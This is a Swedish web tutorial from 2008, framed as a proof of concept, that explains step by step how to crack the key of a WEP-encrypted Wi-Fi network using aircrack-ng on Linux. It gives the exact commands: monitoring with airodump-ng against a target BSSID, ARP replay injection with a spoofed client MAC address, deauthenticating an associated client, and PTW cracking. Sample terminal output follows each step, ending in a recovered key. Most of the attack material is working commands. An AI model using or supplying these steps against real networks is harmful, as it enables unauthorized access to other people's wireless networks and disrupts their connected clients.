| Så här knäcker man WEP |
Läs hur man förskansar sig nätversnyckeln till ett wep-krypterat nätverk. Artikeln har tillkommit som ett "proof of concept", som ett underlag till utgångspunkten: Svenska trådlösa nätverk är generellt osäkra. Metodiken är densamma oberoende vilken plattform man har, men vi väljer att beskriva hur man gör, och vilka verktyg man använder under ett Linux-baserat operativ. Förutsättningar för guiden är att du har en dator med ett trådlöst nätverkskort. Jag har själv en HP nc8430 laptop med ett Intel 3945abg trådlöst nätverkskort vilket jag utgår ifrån i guiden. Jag är alltså helt standard. 1. Har vi inte verktygen så skaffar vi dem. Vi behöver följande verktygslåda under Linux: aircrack-ng Installationsrutinen är lite beroende av plattform men du kan alltid kompilera (bygga ihop) själv från source (källkoden). Den hittar du i ovanstående länk en bit ner på sidan under rubriken "downloads". Räds inte, det är bara att följa instruktionerna i INSTALL-filen efter man packat upp i lämplig mapp. Sitter du med UBUNTU och har aptitude som pakethanterare är det väldigt enkelt. Skriv bara följande (du behöver vara root för att installera och i mitt exempel använder jag kommandot sudo för detta): sudo apt-get install aircrack-ng Alternativet till att installera Linux på din maskin och ovanstående program är att köra en så kallad "Live CD" som redan har dessa program installerade. Exempelvis BackTrack. Det är ett bra sätt att börja med linux på. Man sparar inte ner dumheter utan börjar alltid med samma inställningar efter omstart. 2. Först måste vi hitta vårt nätverk och relevant information kring det. I aircrack-ng paketet finner vi programmet airodump-ng vilket vi använder för att lokalisera och spela in våra "målnät". Programmet airodump-ng måste veta vilket trådlöst nätverkskort det skall lyssna på. För att se vilka trådlösa nätverkskort vi har monterade och dess "handtag" (interface) skriver vi: sudo airmon-ng ...och presenteras, i mitt fall när jag kör standardrivern, av... Interface Chipset Driver Jag ser nu att det är eth1 som används och det är här vi skall lyssna. Starta nu airodump-ng med kommandot: sudo airodump-ng eth1 Vi får nu en växande lista av närliggande accesspunkter som kan se ut såhär: CH 5 ][ Elapsed: 24 mins ][ 2008-05-08 11:58 Den undre raden visar anslutande klienter. Genererar du inte trafiken själv (mer om det senare), är du i stort behov av dessa. I kolumnen "Probes" ser du vilket SSID klienten söker. "BSSID" visar AP'ns mac-adress, och under "STATION" finner du klientens mac-adress. 3. Nu behöver vi "spela in" trafiken från vårt "målnät" för att få ett dataunderlag. Tittar vi på ovanstående resultat ser vi snabbt att där finns ett wep-krypterat nät med ssid: "Test_2". - Finns ju även ett öppet nätverk som heter Test_4, säger ni då. Visst gör det. Men behöver ni en guide för att komma in i ett okrypterat nätverk? Tänkte väl det. Nu har vi det vi behöver veta för att spela in trafik från Test_2. Vi använder samma kommando som ovan fast vi definerar vårt målnät med dess mac-adress (bssid) och en filsökväg för vår data genom att skriva: sudo airodump-ng --bssid 00:15:E9:6D:52:9D -w dumpen eth1 Nu skrivs den sparade datan till filen dumpen-01.cap och en sammanställning av det vi ser i terminalen sparas i filen dumpen-01.txt. I terminalen ser du det här: CH 6 ][ Elapsed: 54 mins ][ 2008-05-08 11:59 Låt det hela rulla på och du ser hur värdet under #Data ökar successivt. Detta värdet anger hur många unika IV's ( initialiseringsvektorer) du lagt vantarna på. Hur många IV's behöver jag då? Ja du kompis... det är lite beroende på nyckelns längd och accesspunkt. Men har du låg trafik till accesspunkten kan du ställa bilen med datorn igång och ta bussen hem ....det är så många du behöver.... Nåväl när värdet når runt 200.000 kan du starta aircrack-ng. 4. Nu knäcker vi. Du kan köra knäckningsprogrammet samtidigt som du dumpar trafiken. Öppna en ny terminal och skriv: sudo aircrack-ng dumpen-01.cap Då kommer det se ut ungefär så här när det är klart (128-bitars nyckel): Aircrack-ng 0.7 r130 5. Optimera din knäckning. Behöver det ta så här lång tid för att knäcka en wep-nyckel? Man skriver ju överallt att det går på ett par minuter. Helt sant! Dekryptering av wep har kommit längre än såhär. Men nu kan vi grunderna och genom att bara lyssna, och inte interagera, kan vi dessutom helt lagligt tillgodogöra oss nätverksnyckeln. Nyare metoder gör det möjligt att knäcka koden med en tiondel av det antalet IV's som man behöver för den traditionella metoden. Men denna metod är beroende av att en viss typ av kommunnikation insamlas: ARP-förfrågningar och dess svar. Metoden kallas PTW (utvecklat av Darmstadt University of Technology. Tysk precision!). För att få så många ARP-förfrågningar som krävs (inom en rimlig tidsram, låt säga 5 minuter), behöver man själv "injicera" denna trafik. Man lurar alltså AP'n, som är målet för vår attack (japp, det har blivit en attack då vi nu tar kontakt med AP'n), att svara på ARP-förfrågningar som den i sin tur tror är från en redan ansluten (associerad) klient. För att injicera information till nätverksströmmen behöver du ett nätverkskort som är kompatibelt med detta, samt drivrutiner. En kompetent lista över detta finner du i backtrack's dokumentation med direktlänk här. Ta nu inte lätt på denna information. Skriver med fetstil för säkerhets skull. Är ni seriösa med er trådlösa hobby ser ni till att finna ett kort som stöder injicering och har kontaktdon för externa antenner. Aircrack-ng dokumentationen har även en fenomenal "howto" på hur du finner, och installerar "patchade" drivers för de kort som stöds. Direlktlänk finner du här. Själv sitter jag, i skrivande stund, med ett Intel 3945. Långt ifrån ballt men det är det jag har i den här laptopen. Den drivrutin jag använder mig av för injicering är ipwraw. Jag ersätter ipw3945 - drivern med ipwraw genom att skriva: sudo modprobe -r ipw3945 ...kollar om vi har ett annat namn på interfacet nu när vi bytt driver genom ... sudo airmon-ng ...får då till svar: Interface Chipset Driver aha..nu heter interfacet wifi0...nu ser vi till att interfacet är "uppe" genom: sudo ifconfig wifi0 up 6. Så här undersöker jag om mitt nätverkskort stöder injicering. Skriv följande för att testa ditt nätverkskort/driver: sudo aireplay-ng -9 wifi0 ...och får i mitt fall svaret: 10:25:39 Trying broadcast probe requests... PTW-metoden är beroende av ARP-paket. HELA ARP-paket, inte bara initialiseringsvektorerna. Använd alltså inte växeln --ivs när du kör airodump-ng. Nedanstående arbetsbeskrivningar förutsätter att ni redan har hittat det nät ni vill ha åtkomst till och att ni börjat spela in denna trafik med airodump-ng enligt ovan. Jag kommer även använda mig av den information vi fått i exemplen ovan vad gäller accesspunkter och klienter. Som vi nämde tidigare krävs det ju en hel del paket innan det är lönt att försöka knäcka. Därför börjar vi med att beskriva olika metoder att skapa den trafik vi behöver. 7.1 Deassociering + ARP-förfrågan/svar-attack: Denna metod kör man när det redan finns en associerad klient. Alltså någon som redan är uppkopplad mot den accespunkt man vill in i. Först startar vi programmet aireplay-ng för att spela in, och sedan spela upp fångade ARP-förfrågningar. I vårt testexempel skulle det se ut så här: sudo aireplay-ng -3 -b 00:15:E9:6D:52:9D -h 00:18:8D:0D:12:F0 wifi0 Där... -b 00:15:E9:6D:52:9D är accesspunktens MAC-adress -h 00:18:8D:0D:12:F0 är den associerade klientens MAC-adress wifi0 är det nätverksinterface vi använder (se ovan). Systemet svarar med: The interface MAC (00:18:DE:33:5C:DF) doesn't match the specified MAC (-h). ifconfig wifi0 hw ether 00:18:8D:0D:12:F0 Saving ARP requests in replay_arp-0602-084450.cap You should also start airodump-ng to capture replies. Read 2118 packets (got 0 ARP requests), sent 0 packets...(0 pps) Systemet svarar att den MAC-adress vi anger som klient inte är vår egen, och "spoofar" den vi angivit. Vi låter paketen snurra in och öppnar ännu en terminal där vi skriver: sudo aireplay-ng -0 -1 -a 00:15:E9:6D:52:9D -c 00:18:8D:0D:12:F0 wifi0 Där... -a 00:15:E9:6D:52:9D är accesspunktens MAC-adress -c 00:18:8D:0D:12:F0 är den associerade klienten Vad vi i själva verket gör är att vi låtsas vara den associerade klienten och att vi inte vill vara anslutna längre, Vi deassocierar. Varpå klienten reassocierar. I och med detta skickas den ARP-förfrågan vi väntar på. Nu borde det se ut ungefär så här: The interface MAC (00:18:DE:33:5C:DF) doesn't match the specified MAC (-h). ifconfig wifi0 hw ether 00:18:8D:0D:12:F0 Saving ARP requests in replay_arp-0602-084729.cap You should also start airodump-ng to capture replies. Notice: got a deauth/disassoc packet. Is the source MAC associated ? 08:47:48 Packets per second adjusted to 375 402 packets...(21 pps) 08:47:51 Packets per second adjusted to 282 539 packets...(27 pps) 08:47:53 Packets per second adjusted to 212 673 packets...(33 pps) 08:47:56 Packets per second adjusted to 159 822 packets...(39 pps) Read 275420 packets (got 40170 ARP requests), sent 50491 packets...(63 pps) Nu börjar det hända saker. Vi ser även i vår terminal där vi kör airodump-ng, att värdet under #Data växer avsevärt. När detta värde når ca 20.000 kan ni starta knäckningen genom att skriva: sudo aircrack-ng -z dumpen-*.cap Flaggan -z anger att vi använder PTW-metoden. Inom ett par sekunder har du det dekrypterade lösenordet och då kan det se ut såhär:
[00:00:05] Tested 4/140000 keys (got 41671 IVs)
KB depth byte(vote)
0 0/ 1 07( 248) 52( 193) BC( 192) 16( 190) 6A( 190) B6( 189) 81( 188) 68( 187) EA( 187) 38( 186)
1 0/ 2 06( 213) DA( 205) 9F( 192) 06( 190) 4D( 189) E5( 189) 0F( 188) E4( 187) 49( 186) BF( 185)
2 0/ 1 56( 229) 1E( 195) 27( 193) C3( 193) 39( 189) 69( 187) FB( 187) 21( 186) A6( 186) 65( 185)
3 0/ 2 B3( 201) 89( 193) 71( 192) B0( 192) D9( 192) 8D( 191) CF( 190) 5A( 189) 69( 188) 6F( 188)
4 0/ 1 19( 224) 0C( 200) 75( 193) 8B( 192) C2( 192) 4B( 189) 79( 189) F0( 189) CF( 187) D4( 186)
KEY FOUND! [ 07:01:23:45:67 ]
Decrypted correctly: 100%
Kommer mer inom kort... 8. Berörda manualer. aircrack-ng
Kommentarer (0)
![]() Skriv kommentar
|
|
| Senast uppdaterad ( torsdag, 19 juni 2008 20:05 ) |

Läs hur man förskansar sig nätversnyckeln till ett wep-krypterat nätverk. Artikeln har tillkommit som ett "proof of concept", som ett underlag till utgångspunkten: Svenska trådlösa nätverk är generellt osäkra. 

